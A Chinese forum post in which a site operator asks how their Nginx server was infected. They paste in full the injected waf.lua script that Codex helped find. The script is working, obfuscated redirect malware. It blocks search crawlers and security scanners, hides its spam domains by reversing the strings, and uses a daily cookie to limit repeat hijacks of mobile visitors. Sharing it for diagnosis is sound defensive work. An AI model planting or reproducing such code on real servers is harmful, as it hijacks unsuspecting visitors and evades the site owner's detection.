我们的业务主要是web + 软件,没有怎么管移动端,导致这次nginx被植入了病毒都不知道,
具体的病毒就是访问网站移动端检测是苹果手机或者安卓手机就劫持然后跳垃圾网站
codex解析出来的
- 移动端请求进入网站的 Nginx
- Nginx 全局 proxy.conf 里被插入了waf.lua
- waf.lua 读取 User-Agent,如果是 Android/iPhone,就随机跳转到:https://随机子域.histats.cfd/news.html
4.它还会设置:
Set-Cookie: k=260528;Path=/;Max-Age=43200
意思是“当天已经劫持过一次”,后续可能放行,降低被发现概率。
附上被植入的脚本
local U = ngx.var.http_user_agent or “”
local K = ngx.var.http_cookie or “”
local S = os.date(“%y%m%d”)
local ua_lc = U:lower()
local cn_spiders = {
“baiduspider”,
“360spider”,
“sogouspider”,
“shenmaspider”,
“petalbot”,
“bytedancespider”,
“toutiaospider”,
“quarkspider”,
“yisouspider”,
“zoomeye”,
“quake”,
“fofa”,
“hunter”,
“chaitin”,
“inetcloud”,
“dnslog”,
}
local function is_cn_spider(ua)
if ua == “” then
return false
end
for _, pattern in ipairs(cn_spiders) do
if ua:find(pattern, 1, true) then
return true
end
end
return false
end
if is_cn_spider(ua_lc) then
return ngx.exit(ngx.HTTP_FORBIDDEN)
end
local is_android = ua_lc:find(“android”)
local is_iphone = ua_lc:find(“iphone”)
if not (is_android or is_iphone) then
return
end
if K:find(“k=” .. S) then
return
end
ngx.header[“Set-Cookie”] = “k=” .. S .. “;Path=/;Max-Age=43200”
if is_iphone and math.random() >= 0.3 then
return
end
local R1 = “lmth.swen/piv.ssoqj//:sptth”
local R2 = “lmth.swen/dfc.statsih//:sptth”
local function rev(s) return s and string.reverse(s) or “” end
local D1 = rev(R1)
local D2 = rev(R2)
local function strip_proto(full)
return full:gsub(“^https?://”, “”)
end
local H1 = strip_proto(D1)
local H2 = strip_proto(D2)
local alpha = “abcdefghijklmnopqrstuvwxyz0123456789”
local function rand_pref(len)
local t = {}
for i = 1, len do
local idx = math.random(1, #alpha)
t[i] = alpha:sub(idx, idx)
end
return table.concat(t)
end
local pool = {H1, H2}
local pick = pool[math.random(1, #pool)] or H1
local pref = rand_pref(math.random(3, 7))
local target = “https://” .. pref .. “.” .. pick
return ngx.redirect(target, 302)
其实很无奈,不会运维,codex确实棒了大忙,但是nginx这么容易被植入病毒吗?
求运维大佬解惑
3 个帖子 - 3 位参与者